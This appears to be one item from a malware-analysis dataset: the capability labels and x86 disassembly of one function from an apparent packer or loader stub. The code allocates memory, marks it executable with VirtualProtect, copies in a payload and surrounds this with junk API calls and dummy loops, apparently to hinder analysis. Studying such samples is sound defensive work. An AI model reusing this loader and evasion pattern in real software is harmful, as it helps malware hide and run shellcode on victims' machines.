Function at 0x401540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get hostname

Disassembly:
push ecx
push 0x4293d8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4224d8
push eax
mov dword fs:[0], esp
sub esp, 0x90c
cmp dword [0x846a48], 0x5b1
push ebx
push esi
push edi
jne 0x401600
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea ecx, [ebp - 0x14]
push ecx
push 0
push str.xiciv_luriyolonutehikepobojegapa_lovazovareputedutejahoju
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x3c]
call fcn.00401bc0
push 0
mov dword [ebp - 4], 0
call fcn.0040381f
add esp, 4
jmp 0x401530
mov eax, dword [0x846a48]
mov ecx, dword [0x428468]
add eax, 0x1134b
push eax
push 0
mov dword [0x846a4c], ecx
mov dword [0x846a48], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x846a48]
lea edx, [ebp - 0x1c]
push edx
push 0x40
push ecx
push eax
mov dword [0x84599c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401658
lea edx, [ebp - 0x518]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401645
xor esi, esi
cmp dword [0x846a48], esi
jbe 0x4016c5
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401680
mov eax, dword [0x846a4c]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x84599c]
mov byte [edx + esi], cl
cmp dword [0x846a48], 0xa8
jne 0x4016bc
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0x118]
push ecx
call ebx
inc esi
cmp esi, dword [0x846a48]
jb 0x401680
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov edx, dword [0x846a48]
add edx, esi
cmp edx, 0xe
jne 0x4016ff
push 0
push 0
push str.juxaxisofun
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
inc esi
cmp esi, 0x39621
jl 0x4016d3
call fcn.00401470
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x401721
call fcn.00401510
inc esi
cmp esi, 0x6753f
jl 0x401715
mov esi, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x846a48], 0x86
jne 0x40177f
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x918]
push ecx
push str.jihuxajazacixusuzosi
call esi
push 0
push str.fepufomusekejomifalojukenezeta
push str.zohunegihufabilugepatamoxijunesagajodefoyomoro
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401743
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret